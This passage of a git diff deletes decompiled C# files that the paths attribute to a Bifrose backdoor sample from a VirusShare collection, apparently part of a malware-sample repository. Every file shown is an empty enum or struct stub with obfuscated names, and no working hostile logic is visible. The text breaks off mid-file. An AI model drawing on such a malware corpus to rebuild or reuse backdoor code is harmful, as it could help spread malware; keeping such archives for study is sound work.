index 7bef3732..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_0097.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.— -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - internal enum \u0081\u0097 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_009C.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_009C.cs deleted file mode 100644 index 990936c0..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081_009C.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.œ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - internal enum \u0081\u009C - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081 .cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081 .cs deleted file mode 100644 index 93ce6b5b..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081 .cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.  -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0081\u00A0 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081§.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081§.cs deleted file mode 100644 index e960f630..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081§.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.§ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - internal enum \u0081\u00A7 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081«.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081«.cs deleted file mode 100644 index 929e9901..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081«.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.« -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081\u00AB - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081³.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081³.cs deleted file mode 100644 index d18a4f02..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081³.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.³ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - internal enum \u0081\u00B3 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081¹.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081¹.cs deleted file mode 100644 index 635651a7..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081¹.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.¹ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - internal enum \u0081\u00B9 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081Â.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081Â.cs deleted file mode 100644 index 2fd9152c..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081Â.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Â -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0081 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081Ç.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081Ç.cs deleted file mode 100644 index eae150f3..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081Ç.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Ç -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - internal enum \u0081Ç - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081Î.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081Î.cs deleted file mode 100644 index 99345a3c..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081Î.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Î -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081Î - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081Õ.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081Õ.cs deleted file mode 100644 index a8c0aea5..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081Õ.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Õ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - internal enum \u0081Õ - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081Ü.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081Ü.cs deleted file mode 100644 index 2d32411d..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081Ü.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Ü -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081Ü - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081ã.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081ã.cs deleted file mode 100644 index 43ce1ada..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081ã.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ã -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081ã - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081æ.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081æ.cs deleted file mode 100644 index 76e66778..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081æ.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.æ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [UnsafeValueType] - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 532)] - internal struct \u0081æ - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081ì.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081ì.cs deleted file mode 100644 index 3e289300..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081ì.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ì -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081ì - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081ò.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081ò.cs deleted file mode 100644 index 4d439bda..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081ò.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ò -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - internal enum \u0081ò - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081ù.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081ù.cs deleted file mode 100644 index 95ffda4b..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0081ù.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ù -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - internal enum \u0081ù - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082_0084.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082_0084.cs deleted file mode 100644 index 3db669a9..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082_0084.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚„ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0082\u0084 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082_0088.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082_0088.cs deleted file mode 100644 index 60d69c1c..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082_0088.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚ˆ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [UnsafeValueType] - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 544)] - internal struct \u0082\u0088 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082_008A.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082_008A.cs deleted file mode 100644 index c7b0f5ad..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082_008A.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚Š -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0082\u008A - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082_008E.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082_008E.cs deleted file mode 100644 index 0ec3c0fe..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082_008E.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚Ž -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0082\u008E - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082_0094.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082_0094.cs deleted file mode 100644 index 4c75ac7e..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082_0094.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚” -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0082\u0094 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082_0095.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082_0095.cs deleted file mode 100644 index a938ea02..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1/_0082¼/_0082_0095.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‚• -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvnh-4204c94c8c3584bb095001147167dcfcb2971b8dcb188bfa64bc0c262f559ff1.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace 